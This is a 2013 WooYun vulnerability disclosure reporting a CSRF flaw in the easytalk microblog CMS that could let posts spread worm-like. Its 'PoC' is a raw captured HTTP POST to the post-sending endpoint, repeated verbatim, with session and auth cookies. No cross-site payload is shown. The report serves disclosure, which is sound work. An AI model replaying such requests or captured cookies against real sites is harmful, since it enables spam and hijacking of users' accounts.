当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038379

漏洞标题:easytalkCSRF可蠕虫发微博

相关厂商:nextsns.com

漏洞作者: 李白

提交时间:2013-09-28 16:00

修复时间:2013-12-24 16:01

公开时间:2013-12-24 16:01

漏洞类型:CSRF

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-28: 细节已通知厂商并且等待厂商处理中
2013-10-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-09: 细节向核心白帽子及相关领域专家公开
2013-12-19: 细节向普通白帽子公开
2013-12-29: 细节向实习白帽子公开
2013-12-24: 细节向公众公开

简要描述:

easytalk是一个,优秀的开源微博CMS

详细说明:

easytalkCSRF可蠕虫发微博
可用于各个方面,例如广告传销,一发不可收拾

漏洞证明:

抓包得:

POST /?m=space&a=sendmsg HTTP/1.1
Host: t.nextsns.com
Connection: Keep-Alive
Content-Length: 51
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; SE 2.X MetaSr 1.0)
accept-language: zh-cn
content-type: application/x-www-form-urlencoded
x-requested-with: XMLHttpRequest
Referer: http://t.nextsns.com/?aaaaassss
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_a8430e60d731ee48d6af1a7f5be443cb=1380280087; Hm_lpvt_a8430e60d731ee48d6af1a7f5be443cb=1380280087; think_language=zh-cn; SSXTID=8c9639fad140162f9b6ba096a2ed6192; CNZZDATA2926394=cnzz_eid%3D1360978696-1380280089-http%253A%252F%252Ft.nextsns.com%26ntime%3D1380280089%26cnzz_a%3D0%26retime%3D1380280090818%26sin%3Dhttp%253A%252F%252Fwww.nextsns.com%252F%26ltime%3D1380280090818%26rtime%3D0; starttime=1380280328255; authcookie=czo2MzoiMTlhMWFHQmN4KzdSR1VNMWVxTjYwc2FsdDhWcUZuU2YxQURvR1UxSlcxVHVCMU9NYzZyV1UwbVZpR2tSb0c4Ijs%3D
content=tset&morecontent=&sendsina=0&sendqq=0&from=


Poc:

POST /?m=space&a=sendmsg HTTP/1.1
Host: t.nextsns.com
Connection: Keep-Alive
Content-Length: 51
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; SE 2.X MetaSr 1.0)
accept-language: zh-cn
content-type: application/x-www-form-urlencoded
x-requested-with: XMLHttpRequest
Referer: http://t.nextsns.com/?aaaaassss
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_a8430e60d731ee48d6af1a7f5be443cb=1380280087; Hm_lpvt_a8430e60d731ee48d6af1a7f5be443cb=1380280087; think_language=zh-cn; SSXTID=8c9639fad140162f9b6ba096a2ed6192; CNZZDATA2926394=cnzz_eid%3D1360978696-1380280089-http%253A%252F%252Ft.nextsns.com%26ntime%3D1380280089%26cnzz_a%3D0%26retime%3D1380280090818%26sin%3Dhttp%253A%252F%252Fwww.nextsns.com%252F%26ltime%3D1380280090818%26rtime%3D0; starttime=1380280328255; authcookie=czo2MzoiMTlhMWFHQmN4KzdSR1VNMWVxTjYwc2FsdDhWcUZuU2YxQURvR1UxSlcxVHVCMU9NYzZyV1UwbVZpR2tSb0c4Ijs%3D
content=tset&morecontent=&sendsina=0&sendqq=0&from=


测试结果:

wooyun4.PNG

修复方案:

加token.

版权声明:转载请注明来源 李白@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-12-24 16:01

厂商回复:

最新状态:

2013-10-14:漏洞正在解决


漏洞评价:

评论